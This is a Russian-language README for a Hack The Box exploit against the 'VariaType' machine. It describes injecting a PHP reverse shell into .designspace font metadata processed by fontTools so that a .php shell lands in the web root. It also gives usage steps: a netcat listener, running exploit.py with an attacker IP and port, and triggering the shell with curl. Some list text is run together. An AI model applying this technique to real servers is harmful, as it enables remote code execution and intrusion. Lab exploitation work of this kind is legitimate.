
Эксплойт для машины VariaType с HTB, использующий XML-инъекцию в fontTools для достижения RCE через PHP-реверс-шелл в метаданных .designspace.
Этот репозиторий содержит специализированный эксплойт для машины VariaType на Hack The Box. Эксплойт использует уязвимость в том, как библиотека fontTools или веб-приложение обрабатывает .designspace XML-файлы и интерполяцию метаданных, чтобы достичь удаленного выполнения кода (RCE).
Уязвимость существует в процессе генерации шрифтов. Создавая вредоносный файл designspace, мы можем внедрить полезную нагрузку PHP reverse shell в метаданные шрифта (в частности, поле <labelname>). Когда сервер обрабатывает эти файлы для генерации переменного шрифта, он записывает результат по заданному пользователем пути, что позволяет нам разместить .php shell в корне веб-сервера.
source-light.ttf и source-regular.ttf с помощью fontTools.designspace с полезной нагрузкой PHP, обернутой в CDATA..php в публичной директории.У вас должен быть установлен Python 3 и следующие библиотеки:
pip install fontTools requests
На вашей локальной машине (или Pwnbox) запустите слушатель Netcat:
nc -lvnp 4444
Выполните скрипт, указав ваш IP-адрес HTB VPN и порт слушателя:
python3 exploit.py --ip <YOUR_IP> --port 4444
Если загрузка возвращает 200 OK (или иногда даже 500, если обработка происходит до ошибки), скрипт предоставит имя файла. Получите к нему доступ через curl или ваш браузер:
curl http://portal.variatype.htb/shell_xxxxxx.php
Этот скрипт предназначен только для образовательных целей и авторизованного тестирования на проникновение. Доступ к целям или их атака без предварительного разрешения незаконны.
README.md в той же папке, что и ваш скрипт.exploit.py, или обновите имя файла в командах выше.| Аргумент | Описание | По умолчанию |
|---|
--ip | Ваш IP-адрес слушателя (VPN) | Обязательно |
--port | Ваш порт слушателя | Обязательно |
--path | Целевой путь для shell | /var/www/portal.variatype.htb/public |
--url | Конечная точка загрузки | http://variatype.htb/tools/.../process |